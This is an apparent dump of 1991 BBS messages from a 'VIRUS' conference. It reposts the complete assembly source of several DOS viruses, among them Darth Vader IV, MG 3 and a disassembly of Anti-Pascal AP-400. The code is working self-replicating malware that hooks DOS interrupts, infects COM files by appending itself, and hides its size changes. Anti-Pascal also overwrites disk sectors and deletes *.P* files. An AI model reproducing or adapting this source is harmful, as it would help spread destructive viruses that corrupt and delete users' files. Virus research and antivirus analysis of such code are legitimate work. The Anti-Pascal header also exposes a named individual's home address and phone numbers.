  1078.                 repnz        scasw
  1079.                 jnz        looked_up
  1080.                 cmp        si,di
  1081.                 jz        lookup
  1082.                 mov        [si-2],bx
  1083.                 mov        ax,[si+diftbl-adrtbl-2]
  1084.                 xchg        ax,[di+diftbl-adrtbl-2]
  1085.                 mov        [si+diftbl-adrtbl-2],ax
  1086.                 jmp        lookup
  1087. looked_up:
  1088.                 mov        es,[homeadr]
  1089.                 mov        di,bx
  1090.                 xor        bx,bx
  1091.                 call        out_char
  1092.                 mov        di,[si-2]
  1093.                 mov        bx,[si+valtbl-adrtbl-2]
  1094.                 call        out_char
  1095.                 pop        cx
  1096.                 loop        make_step
  1097.                 jmp        exit_timer
  1098. out_char:
  1099.                 in        al,dx
  1100.                 test        al,1
  1101.                 jnz        out_char
  1102. check_snow:
  1103.                 in        al,dx
  1104.                 test        al,1
  1105.                 jz        check_snow
  1106.                 xchg        ax,bx
  1107.                 stosw
  1108.                 ret
  1109. stack_offset        dd        ?
  1110. return_address        dd        ?
  1111.                 db        '7106286813'
  1112. exe_header:        int        20
  1113. last_page:        nop
  1114. top_code:
  1115.                 db        ?
  1116. page_count        dw        ?
  1117.                 dw        ?
  1118. header_size        dw        ?
  1119. min_size        dw        ?
  1120. max_size        dw        ?
  1121. ss_offset        dw        ?
  1122. sp_offset        dw        ?
  1123.                 dw        ?
  1124. ip_offset        dw        ?
  1125. cs_offset        dw        ?
  1126. top_header:
  1127. file_size        dd        ?
  1128. old_vector        dd        ?
  1129. old_timer        dd        ?
  1130. count                db        ?
  1131. flag                db        ?
  1132. homeadr         dw        ?
  1133. top_data:
  1134.                 end
  1135.  
  1136. ---
  1137.  ■ RonMail 1.0 ■ Programmer's Inn - Home of FeatherNet (619)-446-4506
  1138. ===========================================================================
  1139.  BBS: The Programmer's Inn
  1140. Date: 11-24-91 (20:06)             Number: 3556
  1141. From: AHMED DOGAN                  Refer#: NONE
  1142.   To: ALL                           Recvd: NO  
  1143. Subj: DARTH VADER                    Conf: (16) VIRUS     
  1144. ---------------------------------------------------------------------------
  1145. ;*********************************************************************
  1146. **********
  1147. ;*
  1148. *
  1149. ;*                              D A R T H   V A D E R   IV
  1150. *
  1151. ;*
  1152. *
  1153. ;*        (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia
  1154. *
  1155. ;*        All Rights Reserved
  1156. *
  1157. ;*
  1158. &
  1159. ;*        Enchanced by: Lazy Wizard
  1160. &
  1161. ;*
  1162. &
  1163. ;*        Turbo Assembler 2.0
  1164. &
  1165. ;*
  1166. &
  1167. ;*********************************************************************
  1168. **********
  1169.  
  1170.  
  1171.                 .model        tiny
  1172.                 .code
  1173.  
  1174.                 org        100h
  1175.  
  1176. Start:
  1177.                 call        NextLine
  1178. First3:
  1179.                 int        20h
  1180.                 int        3
  1181. NextLine:
  1182.                 pop        bx
  1183.                 push        ax
  1184.                 xor        di,di
  1185.                 mov        es,di
  1186.                 mov        es,es:[2Bh*4+2]
  1187.                 mov        cx,1000h
  1188.                 call        SearchZero
  1189.                 jc        ReturnControl
  1190.                 xchg        ax,si
  1191.                 inc        si
  1192. SearchTable:
  1193.                 dec        si
  1194.                 db        26h
  1195.                 lodsw
  1196.                 cmp        ax,8B2Eh
  1197.                 jne        SearchTable
  1198.                 db        26h
  1199.                 lodsb
  1200.                 cmp        al,75h
  1201.                 je        ReturnControl
  1202.                 cmp        al,9Fh
  1203.                 jne        SearchTable
  1204.                 mov        si,es:[si]
  1205.                 mov        cx,LastByte-Start
  1206.                 lea        ax,[di+Handle-Start]
  1207.                 org        $-1
  1208.                 xchg        ax,es:[si+80h]
  1209.                 sub        ax,di
  1210.                 sub        ax,cx
  1211.                 mov        [bx+OldWrite-Start-2],ax
  1212.                 mov        word ptr [bx+NewStart+1-Start-3],di
  1213.                 lea        si,[bx-3]
  1214.                 rep        movsb
  1215. ReturnControl:
  1216.                 pop        ax
  1217.                 push        ss
  1218.                 pop        es
  1219.                 mov        di,100h
  1220.                 lea        si,[bx+First3-Start-3]
  1221.                 push        di
  1222.                 movsw
  1223.                 movsb
  1224.                 ret
  1225. SearchZero:
  1226.                 xor        ax,ax
  1227.                 inc        di
  1228.                 push        cx
  1229.                 push        di
  1230.                 mov        cx,(LastByte-Start-1)/2+1
  1231.                 repe        scasw
  1232.                 pop        di
  1233.                 pop        cx
  1234.                 je        FoundPlace
  1235.                 loop        SearchZero
  1236.                 stc
  1237. FoundPlace:
  1238.                 ret
  1239. Handle:
  1240.                 push        bp
  1241.                 call        NextHandle
  1242. NextHandle:
  1243. ===========================================================================
  1244.  BBS: The Programmer's Inn
  1245. Date: 11-24-91 (20:06)             Number: 3557
  1246. From: AHMED DOGAN                  Refer#: NONE
  1247.   To: ALL                           Recvd: NO  
  1248. Subj: DARTH VADER        <CONT>      Conf: (16) VIRUS     
  1249. ---------------------------------------------------------------------------
  1250.                 pop        bp
  1251.                 push        es
  1252.                 push        ax
  1253.                 push        bx
  1254.                 push        cx
  1255.                 push        si
  1256.                 push        di
  1257.                 test        ch,ch
  1258.                 je        Do
  1259.                 mov        ax,1220h
  1260.                 int        2Fh
  1261.                 mov        bl,es:[di]
  1262.                 mov        ax,1216h
  1263.                 int        2Fh
  1264.                 cmp        es:[di+29h],'MO'
  1265.                 jne        Do
  1266.                 cmp        word ptr es:[di+15h],0
  1267.                 jne        Do
  1268.                 push        ds
  1269.                 pop        es
  1270.                 mov        di,dx
  1271.                 mov        ax,[di]
  1272.                 mov        [bp+First3-NextHandle],ax
  1273.                 mov        al,[di+2]
  1274.                 mov        [bp+First3+2-NextHandle],al
  1275.                 call        SearchZero
  1276.                 jc        Do
  1277.                 push        di
  1278. NewStart:
  1279.                 mov        si,0
  1280.                 mov        cx,(LastByte-Start-1)/2
  1281.                 cli
  1282.                 rep
  1283.                 db        36h
  1284.                 movsw
  1285.                 sti
  1286.                 mov        di,dx
  1287.                 mov        al,0E9h
  1288.                 stosb
  1289.                 pop        ax
  1290.                 sub        ax,di
  1291.                 dec        ax
  1292.                 dec        ax
  1293.                 stosw
  1294. Do:
  1295.                 pop        di
  1296.                 pop        si
  1297.                 pop        cx
  1298.                 pop        bx
  1299.                 pop        ax
  1300.                 pop        es
  1301.                 pop        bp
  1302. OldWrite:
  1303.                 jmp        start
  1304.  
  1305. LastByte        label        byte
  1306.  
  1307.                 end        Start
  1308.  
  1309. ---
  1310.  ■ RonMail 1.0 ■ Programmer's Inn - Home of FeatherNet (619)-446-4506
  1311. ===========================================================================
  1312.  BBS: The Programmer's Inn
  1313. Date: 11-24-91 (20:07)             Number: 3558
  1314. From: AHMED DOGAN                  Refer#: NONE
  1315.   To: ALL                           Recvd: NO  
  1316. Subj: MG 3                           Conf: (16) VIRUS     
  1317. ---------------------------------------------------------------------------
  1318. ;        (C) Copyright VirusSoft Corp.  Sep., 1990
  1319. ;
  1320. ;   This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
  1321. ;   virus, distributed by VirusSoft company . First version was made
  1322. ;   in   May., 1990 . Please don't make any corections in this file !
  1323. ;
  1324. ;                        Bulgaria, Varna
  1325. ;                        Sep. 27, 1990
  1326.  
  1327.  
  1328.  
  1329.          ofs = 201h
  1330.          len = offset end-ofs
  1331.  
  1332.          call  $+6
  1333.  
  1334.          org   ofs
  1335.  
  1336. first:   dw    020cdh
  1337.          db    0
  1338.  
  1339.          pop   di
  1340.          dec   di
  1341.          dec   di
  1342.          mov   si,[di]
  1343.          dec   di
  1344.          add   si,di
  1345.          push  cs
  1346.          push  di
  1347.          cld
  1348.          movsw
  1349.          movsb
  1350.          xchg  ax,dx
  1351.  
  1352.          mov   ax,4b04h
  1353.          int   21h
  1354.          jnc   residnt
  1355.  
  1356.          xor   ax,ax
  1357.          mov   es,ax
  1358.          mov   di,ofs+3
  1359.          mov   cx,len-3
  1360.          rep   movsb
  1361.  
  1362.          les   di,[6]
  1363.          mov   al,0eah
  1364.          dec   cx
  1365.          repne scasb
  1366.          les   di,es:[di]         ; Searching for the INT21 vector
  1367.          sub   di,-1ah-7
  1368.  
  1369.          db    0eah
  1370.          dw    offset jump,0      ; jmp far 0000:jump
  1371.  
  1372. jump:    push  es
  1373.          pop   ds
  1374.          mov   si,[di+3-7]        ;
  1375.          lodsb                    ;
  1376.          cmp   al,68h             ; compare DOS Ver
  1377.          mov   [di+4-7],al        ; Change CMP AH,CS:[????]
  1378.          mov   [di+2-7],0fc80h    ;
  1379.          mov   [di-7],0fccdh      ;
  1380.  
  1381.          push  cs
  1382.          pop   ds
  1383.  
  1384.          mov   [1020],di          ; int  0ffh
  1385.          mov   [1022],es
  1386.  
  1387.          mov   beg-1,byte ptr not3_3-beg
  1388.          jb    not3.3             ; CY = 0  -->  DOS Ver > or = 3.30
  1389.          mov   beg-1,byte ptr 0
  1390.          mov   [7b4h],offset pr7b4
  1391.          mov   [7b6h],cs          ; 7b4
  1392.  
  1393. not3.3:  mov   al,0a9h            ; Change attrib
  1394. cont:    repne scasb
  1395.          cmp   es:[di],0ffd8h
  1396.          jne   cont
  1397.          mov   al,18h
  1398.          stosb
  1399.  
  1400.          push  ss
  1401.          pop   ds
  1402.  
  1403.          push  ss
  1404.          pop   es
  1405.  
  1406. residnt: xchg  ax,dx
  1407.          retf                     ; ret   far
  1408.  
  1409. ;--------Interrupt process--------;
  1410.  
  1411. i21pr:   push  ax
  1412.          push  dx
  1413.          push  ds
  1414.          push  cx
  1415.          push  bx
  1416. ===========================================================================
  1417.  BBS: The Programmer's Inn
  1418. Date: 11-24-91 (20:07)             Number: 3559
  1419. From: AHMED DOGAN                  Refer#: NONE
  1420.   To: ALL                           Recvd: NO  
  1421. Subj: MG 3               <CONT>      Conf: (16) VIRUS     
  1422. ---------------------------------------------------------------------------
  1423.          push  es
  1424.  
  1425. if4b04:  cmp   ax,4b04h
  1426.          je    rti
  1427.  
  1428.          xchg  ax,cx
  1429.          mov   ah,02fh
  1430.          int   0ffh
  1431.  
  1432. if11_12: cmp   ch,11h
  1433.          je    yes
  1434.          cmp   ch,12h
  1435.          jne   inffn
  1436. yes:     xchg  ax,cx
  1437.          int   0ffh
  1438.          push  ax
  1439.          test  es:byte ptr [bx+19],0c0h
  1440.          jz    normal
  1441.          sub   es:[bx+36],len
  1442. normal:  pop   ax
  1443. rti:     pop   es
  1444.          pop   bx
  1445.          pop   cx
  1446.          add   sp,12
  1447.          iret
  1448.  
  1449. inffn:   mov   ah,19h
  1450.          int   0ffh
  1451.          push  ax
  1452.  
  1453. if36:    cmp   ch,36h             ; -free bytes
  1454.          je    beg_36
  1455. if4e:    cmp   ch,4eh             ; -find first FM
  1456.          je    beg_4b
  1457. if4b:    cmp   ch,4bh             ; -exec
  1458.          je    beg_4b
  1459. if47:    cmp   ch,47h             ; -directory info
  1460.          jne   if5b
  1461.          cmp   al,2
  1462.          jae   begin              ; it's hard-disk
  1463. if5b:    cmp   ch,5bh             ; -create new
  1464.          je    beg_4b
  1465. if3c_3d: shr   ch,1               ; > -open & create
  1466.          cmp   ch,1eh             ;   -
  1467.          je    beg_4b
  1468.  
  1469.          jmp   rest
  1470.  
  1471. beg_4b:  mov   ax,121ah
  1472.          xchg  dx,si
  1473.          int   2fh
  1474.          xchg  ax,dx
  1475.          xchg  ax,si
  1476.  
  1477. beg_36:  mov   ah,0eh             ; change current drive
  1478.          dec   dx                 ;
  1479.          int   0ffh               ;
  1480.  
  1481. begin:
  1482.          push  es                 ; save DTA address
  1483.          push  bx                 ;
  1484.          sub   sp,44
  1485.          mov   dx,sp              ; change DTA
  1486.          push  sp
  1487.          mov   ah,1ah
  1488.          push  ss
  1489.          pop   ds
  1490.          int   0ffh
  1491.          mov   bx,dx
  1492.  
  1493.          push  cs
  1494.          pop   ds
  1495.  
  1496.          mov   ah,04eh
  1497.          mov   dx,offset file
  1498.          mov   cx,3               ; r/o , hidden
  1499.          int   0ffh               ; int   21h
  1500.          jc    lst
  1501.  
  1502. next:    test  ss:[bx+21],byte ptr 80h
  1503.          jz    true
  1504. nxt:     mov   ah,4fh             ; find next
  1505.          int   0ffh
  1506.          jnc   next
  1507. lst:     jmp   last
  1508.  
  1509. true:    cmp   ss:[bx+27],byte ptr 0fdh
  1510.          ja    nxt
  1511.          mov   [144],offset i24pr
  1512.          mov   [146],cs
  1513.  
  1514.          les   ax,[4ch]           ; int 13h
  1515.          mov   i13adr,ax
  1516.          mov   i13adr+2,es
  1517.          jmp   short $
  1518. beg:     mov   [4ch],offset i13pr
  1519.          mov   [4eh],cs
  1520.  
  1521. <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE>
  1522. ===========================================================================
  1523.  BBS: The Programmer's Inn
  1524. Date: 11-24-91 (20:07)             Number: 3560
  1525. From: AHMED DOGAN                  Refer#: NONE
  1526.   To: ALL                           Recvd: NO  
  1527. Subj: MG 3               <CONT>      Conf: (16) VIRUS     
  1528. ---------------------------------------------------------------------------
  1529.          ;
  1530. not3_3:  push  ss
  1531.          pop   ds
  1532.          push  [bx+22]            ; time +
  1533.          push  [bx+24]            ; date +
  1534.          push  [bx+21]            ; attrib +
  1535.          lea   dx,[bx+30]         ; ds : dx = offset file name
  1536.          mov   ax,4301h           ; Change attrib !!!
  1537.          pop   cx
  1538.          and   cx,0feh            ; clear r/o and CH
  1539.          or    cl,0c0h            ; set Infect. attr
  1540.          int   0ffh
  1541.  
  1542.          mov   ax,03d02h          ; open
  1543.          int   0ffh               ; int   21h
  1544.          xchg  ax,bx
  1545.  
  1546.          push  cs
  1547.          pop   ds
  1548.  
  1549.          mov   ah,03fh
  1550.          mov   cx,3
  1551.          mov   dx,offset first
  1552.          int   0ffh
  1553.  
  1554.          mov   ax,04202h          ; move fp to EOF
  1555.          xor   dx,dx
  1556.          mov   cx,dx
  1557.          int   0ffh
  1558.          mov   word ptr cal_ofs+1,ax
  1559.  
  1560.          mov   ah,040h
  1561.          mov   cx,len
  1562.          mov   dx,ofs
  1563.          int   0ffh
  1564.          jc    not_inf
  1565.  
  1566.          mov   ax,04200h
  1567.          xor   dx,dx
  1568.          mov   cx,dx
  1569.          int   0ffh
  1570.  
  1571.          mov   ah,040h
  1572.          mov   cx,3
  1573.          mov   dx,offset cal_ofs
  1574.          int   0ffh
  1575.  
  1576. not_inf: mov   ax,05701h
  1577.          pop   dx                 ; date
  1578.          pop   cx                 ; time
  1579.          int   0ffh
  1580.  
  1581.          mov   ah,03eh            ; close
  1582.          int   0ffh
  1583.  
  1584.          les   ax,dword ptr i13adr
  1585.          mov   [4ch],ax           ; int 13h
  1586.          mov   [4eh],es
  1587.  
  1588. last:    add   sp,46
  1589.          pop   dx
  1590.          pop   ds                 ; restore DTA
  1591.          mov   ah,1ah
  1592.          int   0ffh
  1593.  
  1594. rest:    pop   dx                 ; restore current drive
  1595.          mov   ah,0eh             ;
  1596.          int   0ffh               ;
  1597.  
  1598.          pop   es
  1599.          pop   bx
  1600.          pop   cx
  1601.          pop   ds
  1602.          pop   dx
  1603.          pop   ax
  1604.  
  1605. i21cl:   iret                     ; Return from INT FC
  1606.  
  1607. i24pr:   mov   al,3               ; Critical errors
  1608.          iret
  1609.  
  1610. i13pr:   cmp   ah,3
  1611.          jne   no
  1612.          inc   byte ptr cs:activ
  1613.          dec   ah
  1614. no:      jmp   dword ptr cs:i13adr
  1615.  
  1616. pr7b4:         db    2eh,0d0h,2eh
  1617.                dw    offset activ
  1618. ;        shr   cs:activ,1
  1619.          jnc   ex7b0
  1620.          inc   ah
  1621. ex7b0:   jmp   dword ptr cs:[7b0h]
  1622.  
  1623. ;--------
  1624.  
  1625. file:    db    "*",32,".COM"
  1626.  
  1627. <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE>
  1628. ===========================================================================
  1629.  BBS: The Programmer's Inn
  1630. Date: 11-24-91 (20:07)             Number: 3561
  1631. From: AHMED DOGAN                  Refer#: NONE
  1632.   To: ALL                           Recvd: NO  
  1633. Subj: MG 3               <CONT>      Conf: (16) VIRUS     
  1634. ---------------------------------------------------------------------------
  1635.  
  1636. activ:   db    0
  1637.  
  1638.          dw    offset i21pr      ; int 0fch
  1639.          dw    0
  1640.  
  1641. cal_ofs: db    0e8h
  1642.  
  1643. end:
  1644.          dw    ?                  ; cal_ofs
  1645.  
  1646. i13adr:  dw    ?
  1647.          dw    ?
  1648.  
  1649.  
  1650. ; The End.---
  1651.  
  1652.  * Origin: ESaSS / Thunderbyte support, The Netherlands (2:280/200)
  1653.  
  1654. ---
  1655.  ■ RonMail 1.0 ■ Programmer's Inn - Home of FeatherNet (619)-446-4506
  1656. ===========================================================================
  1657.  BBS: The Programmer's Inn
  1658. Date: 11-24-91 (20:08)             Number: 3562
  1659. From: AHMED DOGAN                  Refer#: NONE
  1660.   To: ALL                           Recvd: NO  
  1661. Subj: ANTI PASCAL                    Conf: (16) VIRUS     
  1662. ---------------------------------------------------------------------------
  1663.         page        ,132
  1664.         name        AP400
  1665.         title        The 'Anti-Pascal' virus, version AP-400
  1666.         .radix        16
  1667.  
  1668. ;
  1669. ......................................................................
  1670. ......
  1671. ; .  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5,
  1672. ap. 51 .
  1673. ; .  Telephone: Private: +359-2-586261, Office: +359-2-71401 ext. 255
  1674. .
  1675. ; .
  1676. .
  1677. ; .                       The 'Anti-Pascal' Virus, version AP-400
  1678. .
  1679. ; .                    Disassembled by Vesselin Bontchev, July 1990
  1680. .
  1681. ; .
  1682. .
  1683. ; .                     Copyright (c) Vesselin Bontchev 1989, 1990
  1684. .
  1685. ; .
  1686. .
  1687. ; .         This listing is only to be made available to virus
  1688. researchers      .
  1689. ; .                   or software writers on a need-to-know basis.
  1690. .
  1691. ;
  1692. ......................................................................
  1693. ......
  1694.  
  1695. ; The disassembly has been tested by re-assembly using MASM 5.0.
  1696.  
  1697. code        segment
  1698.         assume        cs:code, ds:code
  1699.  
  1700.         org        100
  1701.  
  1702. v_const =        2042d
  1703.  
  1704. start:
  1705.         jmp        v_entry
  1706.         db        0CA                ; Virus signature
  1707.  
  1708.         db        (2048d - 9) dup (90)        ; The original "program"
  1709.  
  1710.         mov        ax,4C00         ; Just exit
  1711.         int        21
  1712.  
  1713. v_start label        byte
  1714. first4        db        0E9, 0F8, 7, 90
  1715. allcom        db        '*.COM', 0
  1716.  
  1717. mydta        label        byte
  1718. reserve db        15 dup (?)
  1719. attrib        db        ?
  1720. time        dw        ?
  1721. date        dw        ?
  1722. fsize        dd        ?
  1723. namez        db        14d dup (?)
  1724.  
  1725. allp        db        0, '?????????A?'
  1726. maxdrv        db        ?
  1727. sign        db        'PAD'
  1728.  
  1729. v_entry:
  1730.         push        ax                ; Save AX & DX
  1731.         push        dx
  1732.  
  1733.         mov        ah,19                ; Get the default drive
  1734.         int        21
  1735.         push        ax                ; Save it on stack
  1736.         mov        ah,0E                ; Set it as default (?!)
  1737.         mov        dl,al
  1738.         int        21                ; Do it
  1739.  
  1740.         call        self                ; Determine the virus' start
  1741. address
  1742. self:
  1743.         pop        si
  1744.         sub        si,offset self-v_const
  1745.  
  1746. ; Save the number of logical drives in the system:
  1747.  
  1748.         mov        byte ptr [si+offset maxdrv-v_const],al
  1749.  
  1750. ; Restore the first 4 bytes of the infected program:
  1751.  
  1752.         mov        ax,[si+offset first4-v_const]
  1753.         mov        word ptr ds:[offset start],ax
  1754.         mov        ax,[si+offset first4+2-v_const]
  1755.         mov        word ptr ds:[offset start+2],ax
  1756.  
  1757.         mov        ah,1A                ; Set new DTA
  1758.         lea        dx,[si+offset mydta-v_const]
  1759.         int        21                ; Do it
  1760. ===========================================================================
  1761.  BBS: The Programmer's Inn
  1762. Date: 11-24-91 (20:08)             Number: 3563
  1763. From: AHMED DOGAN                  Refer#: NONE
  1764.   To: ALL                           Recvd: NO  
  1765. Subj: ANTI PASCAL        <CONT>      Conf: (16) VIRUS     
  1766. ---------------------------------------------------------------------------
  1767.         pop        ax                ; Restore current drive in AL
  1768.         push        ax                ; Keep it on stack
  1769.  
  1770.         call        inf_drive        ; Proceed with the current drive
  1771.  
  1772.         xor        al,al                ; For all logical drives in
  1773. the system
  1774. drv_lp:
  1775.         call        inf_drive        ; Proceed with drive
  1776.         jbe        drv_lp                ; Loop until no more drives
  1777.  
  1778.         pop        ax                ; Restore the saved current drive
  1779.         mov        ah,0E                ; Set it as current drive
  1780.         mov        dl,al
  1781.         int        21                ; Do it
  1782.  
  1783.         mov        dx,80                ; Restore original DTA
  1784.         mov        ah,1A
  1785.         int        21                ; Do it
  1786.  
  1787.         mov        si,offset start
  1788.         pop        dx                ; Restore DX & AX
  1789.         pop        ax
  1790.         jmp        si                ; Run the original program
  1791.  
  1792. inf_drive:
  1793.         push        ax                ; Save the selected drive number
  1794. on stack
  1795.         mov        ah,0E                ; Select that drive
  1796.         mov        dl,al
  1797.         int        21                ; Do ti
  1798.         pop        ax                ; Restore AX
  1799.  
  1800.         push        ax                ; Save the registers used
  1801.         push        bx
  1802.         push        cx
  1803.         push        si                ; Save SI
  1804.  
  1805.         mov        cx,1                ; Read sector #50 of the drive
  1806. specified
  1807.         mov        dx,50d
  1808.         lea        bx,[si+offset v_end-v_const]
  1809.         push        ax                ; Save AX
  1810.         push        bx                ; Save BX, CX & DX also
  1811.         push        cx
  1812.         push        dx
  1813.         int        25                ; Do read
  1814.         pop        dx                ; Clear the stack
  1815.         pop        dx                ; Restore saved DX, CX & BX
  1816.         pop        cx
  1817.         pop        bx
  1818.         jnc        wr_drive        ; Write the information back if no
  1819. error
  1820.  
  1821.         pop        ax                ; Restore AX
  1822.         pop        si                ; Restore SI
  1823.  
  1824. drv_xit:
  1825.         pop        cx                ; Restore used registers
  1826.         pop        bx
  1827.         pop        ax
  1828.  
  1829.         inc        al                ; Go to next drive number
  1830.         cmp        al,[si+offset maxdrv-v_const]        ; See if there
  1831. are more drives
  1832. xit:
  1833.         ret                        ; Exit
  1834.  
  1835. wr_drive:
  1836.         pop        ax                ; Restore drive number in AL
  1837.         int        26                ; Do write
  1838.         pop        ax                ; Clear the stack
  1839.         pop        si                ; Restore Si
  1840.         jnc        cont                ; Continue if no error
  1841.         clc
  1842.         jmp        drv_xit         ; Otherwise exit
  1843.  
  1844. ; Find first COM file on the current directory of the selected drive:
  1845.  
  1846. cont:
  1847.         mov        ah,4E
  1848.         xor        cx,cx                ; Normal files only
  1849.         lea        dx,[si+offset allcom-v_const]        ; File mask
  1850. next:
  1851.         int        21                ; Do find
  1852.         jc        no_more         ; Quit search if no more such files
  1853.         lea        dx,[si+offset namez-v_const]        ; Get file name
  1854. found
  1855.         call        infect                ; Infect that file
  1856.         mov        ah,4F                ; Prepare for FindNext
  1857.         jc        next                ; If infection not successful,
  1858. go to next file
  1859.         jmp        drv_xit         ; Otherwise quit
  1860.  
  1861. no_more:
  1862.         mov        ah,13                ; Delete all *.P* files in
  1863. that dir
  1864.  
  1865. <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE>
  1866. ===========================================================================
  1867.  BBS: The Programmer's Inn
  1868. Date: 11-24-91 (20:08)             Number: 3564
  1869. From: AHMED DOGAN                  Refer#: NONE
  1870.   To: ALL                           Recvd: NO  
  1871. Subj: ANTI PASCAL        <CONT>      Conf: (16) VIRUS     
  1872. ---------------------------------------------------------------------------
  1873.         lea        dx,[si+offset allp-v_const]
  1874.         int        21                ; Do it
  1875.         clc
  1876.         jmp        drv_xit         ; Done. Exit
  1877.  
  1878. namaddr dw        ?                ; Address of the file name buffer
  1879.  
  1880. infect:
  1881.         mov        [si+offset namaddr-v_const],dx        ; Save file
  1882. name address
  1883.  
  1884.         mov        ax,4301         ; Reset all file attributes
  1885.         xor        cx,cx
  1886.         int        21                ; Do it
  1887.         jc        xit                ; Exit on error
  1888.  
  1889.         mov        ax,3D02         ; Open file for both reading and
  1890. writing
  1891.         int        21
  1892.         jc        xit                ; Exit on arror
  1893.         mov        bx,ax                ; Save file handle in BX
  1894.  
  1895.         mov        cx,4                ; Read the first 4 bytes of the
  1896. file
  1897.         mov        ah,3F
  1898.         lea        di,[si+offset first4-v_const]        ; Save them in
  1899. first4
  1900.         mov        dx,di
  1901.         int        21                ; Do it
  1902.         jc        quit                ; Exit on error
  1903.  
  1904.         cmp        byte ptr [di+3],0CA        ; File already infected?
  1905.         stc                        ; Set CF to indicate it
  1906.         jz        quit                ; Don't touch this file if so
  1907.  
  1908.         mov        cx,[si+offset fsize-v_const]
  1909.         cmp        cx,2048d        ; Check if file size >= 2048 bytes
  1910.         jb        quit                ; Exit if not
  1911.         cmp        cx,64000d        ; Check if file size <= 64000
  1912. bytes
  1913.         stc                        ; Set CF to indicate it
  1914.         ja        quit                ; Exit if not
  1915.  
  1916.         xor        cx,cx                ; Seek to file end
  1917.         xor        dx,dx
  1918.         mov        ax,4202
  1919.         int        21                ; Do it
  1920.         push        ax                ; Save file size on stack
  1921.         jc        quit                ; Exit on error
  1922.  
  1923. ; Write the virus body after the end of file:
  1924.  
  1925.         mov        cx,v_end-v_start
  1926.         nop
  1927.         lea        dx,[si+offset v_start-v_const]
  1928.         mov        ah,40
  1929.         int        21                ; Do it
  1930.         jc        quit                ; Exit on error
  1931.         pop        ax                ; Restore file size in AX
  1932.  
  1933. ; Form a new address for the first JMP instruction in AX:
  1934.  
  1935.         add        ax,v_entry-v_start-3
  1936.         mov        byte ptr [di],0E9        ; JMP opcode
  1937.         mov        [di+1],ax
  1938.         mov        byte ptr [di+3],0CA        ; Set the "file
  1939. infected" sign
  1940.  
  1941.         xor        cx,cx                ; Seek to file beginning
  1942.         xor        dx,dx
  1943.         mov        ax,4200
  1944.         int        21                ; Do it
  1945.         jc        quit                ; Exit on error
  1946.  
  1947.         mov        cx,4                ; Write the new first 4 bytes
  1948. of the file
  1949.         mov        dx,di
  1950.         mov        ah,40
  1951.         int        21                ; Do it
  1952.  
  1953. quit:
  1954.         pushf                        ; Save flags
  1955.  
  1956.         mov        ax,5701         ; Set file date & time
  1957.         mov        cx,[si+offset time-v_const]        ; Get time from
  1958. mydta
  1959.         mov        dx,[si+offset date-v_const]        ; Get date from
  1960. mydta
  1961.         int        21                ; Do it
  1962.  
  1963.         mov        ah,3E                ; Close the file
  1964.         int        21
  1965.  
  1966.         mov        ax,4301         ; Set file attributes
  1967.         mov        cl,[si+offset attrib-v_const]        ; Get them
  1968. from mydta
  1969.         xor        ch,ch
  1970.  
  1971. <ORIGINAL MESSAGE OVER 100 LINES, SPLIT IN 2 OR MORE>
  1972. ===========================================================================
  1973.  BBS: The Programmer's Inn
  1974. Date: 11-24-91 (20:08)             Number: 3565
  1975. From: AHMED DOGAN                  Refer#: NONE
  1976.   To: ALL                           Recvd: NO  
  1977. Subj: ANTI PASCAL        <CONT>      Conf: (16) VIRUS     
  1978. ---------------------------------------------------------------------------
  1979.         mov        dx,[si+offset namaddr-v_const]        ; Point to
  1980. file name
  1981.         int        21                ; Do it
  1982.  
  1983.         popf                        ; Restore flags
  1984.         ret
  1985.  
  1986. v_end        equ        $
  1987.  
  1988. code        ends
  1989.         end        start
  1990.  
  1991. ---
  1992.  ■ RonMail 1.0 ■ Programmer's Inn - Home of FeatherNet (619)-446-4506
  1993.